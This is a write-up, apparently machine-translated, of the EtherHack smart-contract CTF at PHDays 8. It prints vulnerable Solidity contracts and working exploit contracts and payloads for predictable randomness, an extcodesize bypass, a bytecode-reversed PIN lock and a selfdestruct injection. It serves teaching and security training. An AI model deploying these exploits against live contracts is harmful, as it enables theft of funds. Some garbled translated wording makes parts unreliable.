Finding vulnerabilities in smart contracts: review of the EtherHack contest at Positive Hack Days 8

    image

    This year, for the first time, a contest called EtherHack was held at PHDays . Participants sought vulnerabilities in smart speed contracts. In this article we will tell you about the tasks of the competition and possible solutions.

    Azino 777


    Win a lottery and break the bank!


    The first three tasks were related to errors when generating pseudo-random numbers, which we recently talked about: We predict random numbers in smart Ethereum contracts . The first task was based on the pseudo-random number generator (PRNG), which used the hash of the last block as a source of entropy for generating random numbers:

    pragma solidity ^0.4.16;
    	contract Azino777 {
    	  function spin(uint256 bet)public payable {
    	    require(msg.value >= 0.01 ether);
    	    uint256 num = rand(100);
    	    if(num == bet) {
    	        msg.sender.transfer(this.balance);
    	    }
    	  }
    	  //Generate random number between 0 & max
    	  uint256 constant private FACTOR =  1157920892373161954235709850086879078532699846656405640394575840079131296399;
    	  function rand(uint max) constant privatereturns(uint256 result){
    	    uint256 factor = FACTOR * 100 / max;
    	    uint256 lastBlockNumber = block.number - 1;
    	    uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
    	    return uint256((uint256(hashVal) / factor)) % max;
    	  }
    	  function() public payable {}
    	}

    Since the result of a function call block.blockhash(block.number-1)will be the same for any transaction within a single block, an attack-exploit contract with the same function can be used in an attack rand()to trigger a target contract through an internal message:

    function WeakRandomAttack(address _target)public payable {
        target = Azino777(_target);
    }
    function attack()public{
        uint256 num = rand(100);
        target.spin.value(0.01 ether)(num);
    }

    Private ryan


    We have added a private initial value that no one will ever calculate.


    This task is a slightly complicated version of the previous one. The variable seed, which is considered private, is used to offset the sequence number of the block (block.number), so that the hash of the block is not dependent on the previous block. After each bet, the seed is rewritten to a new "random" offset. For example, in the Slotthereum lottery, this is exactly what happened.

    contract
    PrivateRyan {
      uint private seed = 1;
      function PrivateRyan(){
        seed = rand(256);
      }
      function spin(uint256 bet)public payable {
        require(msg.value >= 0.01 ether);
        uint256 num = rand(100);
        seed = rand(256);
        if(num == bet) {
            msg.sender.transfer(this.balance);
        }
      }
      /* ... */
    }

    As in the previous task, the hacker needed only to copy the function rand()into an exploit contract, but in this case the value of the private seed variable needed to be obtained outside the blockchain and then sent to the exploit as an argument. To do this, you could use the web3.eth.getStorageAt () method from the web3 library:

    image

    Reading the contract storage outside the blockchain to get the initial value

    After receiving the initial value, all that remains is to send it to the exploit, which is almost identical to the one in the first task:

    contract PrivateRyanAttack {
      PrivateRyan target;
      uint private seed;
      function PrivateRyanAttack(address _target, uint _seed)public payable {
        target = PrivateRyan(_target);
        seed = _seed;
      }
      function attack()public{
        uint256 num = rand(100);
        target.spin.value(0.01 ether)(num);
      }
      /* ... */
    }

    Wheel of fortune


    The following block hash is used in this lottery. Try to calculate it!


    In this task, it was necessary to find out the hash of the block, whose number was saved in the Game structure after the bid was made. Then this hash was extracted to generate a random number after making the next bet.

    Pragma
    solidity
    ^0.4.16;
    	contract WheelOfFortune {
    	  Game[] public games;
    	  structGame {
    	      address player;
    	      uint id;
    	      uint bet;
    	      uint blockNumber;
    	  }
    	  function spin(uint256 _bet)public payable {
    	    require(msg.value >= 0.01 ether);
    	    uint gameId = games.length;
    	    games.length++;
    	    games[gameId].id = gameId;
    	    games[gameId].player = msg.sender;
    	    games[gameId].bet = _bet;
    	    games[gameId].blockNumber = block.number;
    	    if (gameId > 0) {
    	      uint lastGameId = gameId - 1;
    	      uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100);
    	      if(num == games[lastGameId].bet) {
    	          games[lastGameId].player.transfer(this.balance);
    	      }
    	    }
    	  }
    	  function rand(bytes32 hash, uint max) pure privatereturns(uint256 result){
    	    return uint256(keccak256(hash)) % max;
    	  }
    	  function() public payable {}
    	}
    

    In this case, there are two possible solutions.

    1. Call a target contract twice through an exploit contract. The result of calling the block.blockhash function (block.number) will always be zero.
    2. Wait for 256 blocks, and make a second bet. The hash of the saved block sequence number will be zero due to the limitations of the Ethereum virtual machine (EVM) in the number of block hashes available.

    In both cases, the winning bid will be uint256(keccak256(bytes32(0))) % 100either "47".

    Call me maybe


    This contract does not like when it is caused by other contracts.


    One of the options for protecting a contract from being called by other contracts is to use an EVM assembler instruction extcodesizethat returns the size of the contract to its address. The method consists in using the assembler insert to apply this instruction to the address of the sender of the transaction. If the result is greater than zero, then the sender of the transaction is a contract, since regular addresses in Ethereum do not have a code. It was this approach that was used in this assignment to prevent a contract from being called up by other contracts.

    contract
    CallMeMaybe
    {
    	    modifier CallMeMaybe(){
    	      uint32 size;
    	      address _addr = msg.sender;
    	      assembly {
    	        size := extcodesize(_addr)
    	      }
    	      if (size > 0) {
    	          revert();
    	      }
    	      _;
    	    }
    	    function HereIsMyNumber() CallMeMaybe {
    	        if(tx.origin == msg.sender) {
    	            revert();
    	        } else {
    	            msg.sender.transfer(this.balance);
    	        }
    	    }
    	    function() payable {}
    	}

    The transaction property tx.originpoints to the original creator of the transaction, and msg.sender to the last caller. If we send a transaction from a normal address, these variables will be equal, and we will eventually receive revert(). Therefore, to solve our problem, it was necessary to bypass the instruction check extcodesize, so that tx.originit was msg.senderdifferent. Fortunately, there is one glorious feature in EVM that will help with this:

    image

    Indeed, when a contract that has just been placed causes some other contract in the designer, it does not yet exist in the blockchain itself, it acts solely as a wallet. Thus, a code is not tied to a new contract and extcodesize will return zero:

    	contract CallMeMaybeAttack {
        function CallMeMaybeAttack(CallMeMaybe _target) payable {
            _target.HereIsMyNumber();
        }
        function() payable {}
    }

    The lock


    Oddly enough, the lock is closed. Try to find the pin code through the unlock function (bytes4 pincode). Each unlock attempt will cost you 0.5 esters.


    In this task, the participants were not given a code - they had to restore the contract logic by its byte code. One option was to use Radare2 - a platform that is used for disassembling and debugging EVM .

    First, let's post an example of the task and enter the code at random:

    await contract.unlock("1337", {value: 500000000000000000}) →false

    The attempt, of course, is good, but unsuccessful. Now we will try to debug this transaction.

    r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"

    In this case, we instruct Radare2 to use the evm architecture. Then this tool connects to the Ethereum node and retrieves the trace of this transaction in the virtual machine. And now, finally, we are ready to dive into the EVM bytecode.

    First of all, you need to perform an analysis:

    [0x00000000]> aa
    [x] Analyze all flags starting with sym. andentry0(aa)

    Next, disassemble the first 1000 instructions (this should be enough to cover the entire contract) using the pd 1000 command and switch to viewing the graph with the VV command.

    In EVM bytecode compiled with help solc, usually the first is the function manager. Based on the first four bytes of the call data containing the signature of the function, which is defined as bytes4(sha3(function_name(params))), the function manager decides which function to call. We are interested in the function unlock(bytes4)that corresponds 0x75a4e3a0.

    Following the execution flow using the s key, we will reach the node that compares the instruction callvaluewith the value 0x6f05b59d3b20000or 500000000000000000, which is equivalent to 0.5 ether:

    push8 0x6f05b59d3b20000
    callvalue
    lt

    If the provided air is enough, then we fall into a node that resembles a control structure:

    push1 0x4
    dup4
    push1 0xffand
    lt
    iszero
    push2 0x1a4
    jumpi

    The code puts the value 0x4 at the top of the stack, checks the upper bound (the value should not exceed 0xff) and compares lt with some value duplicated from the fourth stack element (dup4).

    Scrolling through to the bottom of the graph, we see that this fourth element is essentially an iterator, and this control structure is a cycle that corresponds tofor(var i=0; i<4; i++):

    push1 0x1
    add
    swap4

    If we consider the body of the loop, it becomes obvious that it performs a search of four incoming bytes and performs some operations with each of the bytes. First, the loop checks that the nth byte is greater than 0x30:

    push1 0x30
    dup3
    lt
    iszero

    and also that this value is less than 0x39:

    push1 0x39
    dup3
    gt
    iszero

    what is essentially a check that this byte is in the range from 0 to 9. If the check is successful, then we find ourselves in the most important block of code:

    image

    Split this block into parts:

    1. The third element in the stack is the ASCII code of the nth byte pin code. 0x30 (ASCII code for zero) is pushed onto the stack and then subtracted from the code of this byte:

    push1 0x30
    dup3
    sub

    That is pincode[i] - 48, and we essentially get a digit from the ASCII code, let's call it d.

    2. 0x4 is added to the stack and used as an exponent for the second item in the stack, d:

    swap1
    pop
    push1 0x4
    dup2
    exp

    That is d ** 4.

    3. The fifth element of the stack is extracted and the result of the exponentiation is added to it. Let's call this sum S:

    dup5
    add
    swap4
    pop
    dup1

    That is S += d ** 4.

    4. 0xa (ASCII code for 10) is pushed onto the stack and used as a multiplier for the seventh stack element (which was the sixth before this addition). We do not know what it is, so we call this element U. Then d is added to the result of the multiplication:

    push1 0xa
    dup7
    mul
    add
    swap5
    pop

    That is: U = U * 10 + dor, more simply, this expression restores the entire pin-code as a number from individual bytes ([0x1, 0x3, 0x3, 0x7] → 1337).

    The most difficult thing we have done, now move on to the code after the cycle.

    dup5
    dup5
    eq

    If the fifth and sixth elements in the stack are equal, then the execution thread will lead us to the sstore instruction, which sets a flag in the storage of contracts. Since this is the only sstore instruction, it seems that this is what we were looking for.

    But how to pass this test? As we have already found out, the fifth element in the stack is S, and the sixth is U. Since S is the sum of all pin-code digits raised to the fourth power, we need a pin code for which this condition will be satisfied. In our case, the analysis showed that it 1**4 + 3**4 + 3**4 + 7**4does not equal 1337, and we did not get to the winning instruction sstore.

    But now we can calculate a number that satisfies the conditions of this equation. There are only three numbers that can be written down as the sum of the numbers in their fourth power: 1634, 8208 and 9474. Any of them can open the lock!

    Pirate Ship


    Hey, fool! Pirate ship moored in port. Make him anchor and raise the flag with the Jolly Roger and go in search of treasure.


    The standard course of execution of the contract includes three actions:

    1. A function call dropAnchor()with a block number, which must be more than 100,000 blocks larger than the current one. The function dynamically creates a contract, which is an “anchor”, which can be “raised” with the help selfdestruct()after the specified block.
    2. Calling a function pullAnchor()that initiates selfdestruct()if enough time has passed (a lot of time!).
    3. A call to the function sailAway (), which sets the blackJackIsHauledvalue to true if there is no anchor contract.

    pragma
    solidity
    ^0.4.19;
    	contract PirateShip {
    	    address public anchor = 0x0;
    	    boolpublic blackJackIsHauled = false;
    	    function sailAway()public{
    	        require(anchor != 0x0);
    	        address a = anchor;
    	        uint size = 0;
    	        assembly {
    	            size := extcodesize(a)
    	        }
    	        if(size > 0) {
    	            revert(); // it is too early to sail away
    	        }
    	        blackJackIsHauled = true; // Yo Ho Ho!
    	    }
    	    function pullAnchor()public{
    	        require(anchor != 0x0);
    	        require(anchor.call()); // raise the anchor if the ship is ready to sail away
    	    }
    	    function dropAnchor(uint blockNumber)publicreturns(address addr){
    	        // the ship will be able to sail away in 100k blocks time
    	        require(blockNumber > block.number + 100000);
    	        // if(block.number < blockNumber) { throw; }// suicide(msg.sender);
    	        uint[8] memory a;
    	        a[0] = 0x6300;      // PUSH4 0x00...
    	        a[1] = blockNumber; // ...block number (3 bytes)
    	        a[2] = 0x43;        // NUMBER
    	        a[3] = 0x10;        // LT
    	        a[4] = 0x58;        // PC
    	        a[5] = 0x57;        // JUMPI
    	        a[6] = 0x33;        // CALLER
    	        a[7] = 0xff;        // SELFDESTRUCT
    	        uint code = assemble(a);
    	        // init code to deploy contract: stores it in memory and returns appropriate offsets
    	        uint[8] memory b;
    	        b[0] = 0;             // allign
    	        b[1] = 0x6a;          // PUSH11
    	        b[2] = code;          // contract
    	        b[3] = 0x6000;        // PUSH1 0
    	        b[4] = 0x52;          // MSTORE
    	        b[5] = 0x600b;        // PUSH1 11 ;; length
    	        b[6] = 0x6015;        // PUSH1 21 ;; offset
    	        b[7] = 0xf3;          // RETURN
    	        uint initcode = assemble(b);
    	        uint sz = getSize(initcode);
    	        uint offset = 32 - sz;
    	        assembly {
    	            let solidity_free_mem_ptr := mload(0x40)
    	            mstore(solidity_free_mem_ptr, initcode)
    	            addr := create(0, add(solidity_free_mem_ptr, offset), sz)
    	        }
    	        require(addr != 0x0);
    	        anchor = addr;
    	    }
    	    ///////////////// HELPERS /////////////////function assemble(uint[8] chunks) internal pure returns(uint code){
    	        for(uint i=chunks.length; i>0; i--) {
    	            code ^= chunks[i-1] << 8 * getSize(code);
    	        }
    	    }
    	    function getSize(uint256 chunk) internal pure returns(uint){
    	        bytes memory b = new bytes(32);
    	        assembly { mstore(add(b, 32), chunk) }
    	        for(uint32 i = 0; i< b.length; i++) {
    	            if(b[i] != 0) {
    	                return32 - i;
    	            }
    	        }
    	        return0;
    	    }
    	}

    The vulnerability is quite obvious: we have a direct injection of the assembler instructions when creating a contract in a function dropAnchor(). But the main difficulty was to create a payload that will allow us to pass the test on block.number.

    In EVM, you can create contracts using the create statement. Its arguments are value, input offset and input size. value is the bytecode that places the contract itself (initialization code). In our case, the initialization code + contract code is placed in uint256 (thanks to the GasToken team for the idea):

    0x6a63004141414310585733ff600052600b6015f3

    where the bytes in bold are the contract code and 414141 is the injection site. Since we are faced with the task of getting rid of the throw operator, we need to insert our new contract and rewrite the closing part of the initialization code. We will try to inject the contract with the instruction 0xff, which will lead to the unconditional removal of the contract anchor using selfdestruct():

    68 414141ff3f3f3f3f3f ;; push9 contract
    60 00 ;; push1 0
    52 ;; mstore
    60 09 ;; push1 9
    60 17 ;; push1 17
    f3 ;; return

    If we convert this sequence of bytes to uint256 (9081882833248973872855737642440582850680819)and use it as an argument for a function dropAnchor(), we get the following value for the variable code (the byte-code in bold is our payload):

    0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff

    After the code variable becomes part of the initcode variable, we get the following value:

    0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3

    Now the high bytes are 0x6300gone, and the rest, containing the original bytecode, is discarded after 0xf3 (return).

    image

    As a result, a new contract with modified logic is created:

    41 ;; coinbase
    41 ;; coinbase
    41 ;; coinbase
    ff ;; selfdestruct
    3f ;; junk
    3f ;; junk
    3f ;; junk
    3f ;; junk
    3f ;; junk

    If we now call the pullAnchor () function, this contract will be immediately destroyed, since we no longer have checks on the block.number. After that, call the function sailAway () and celebrate the victory!

    results


    1. First place and broadcast in an amount equivalent to 1 000 US dollars: Alexey Pertsev (p4lex)
    2. Second place and Ledger Nano S: Alexey Markov
    3. Third place and souvenirs PHDays: Alexander Vlasov

    All results: etherhack.positive.com/#/scoreboard

    image

    Congratulations to the winners and thank all the participants!

    PS We are grateful to Zeppelin for placing the source code of the Ethernaut CTF platform in open access .

    Also popular now: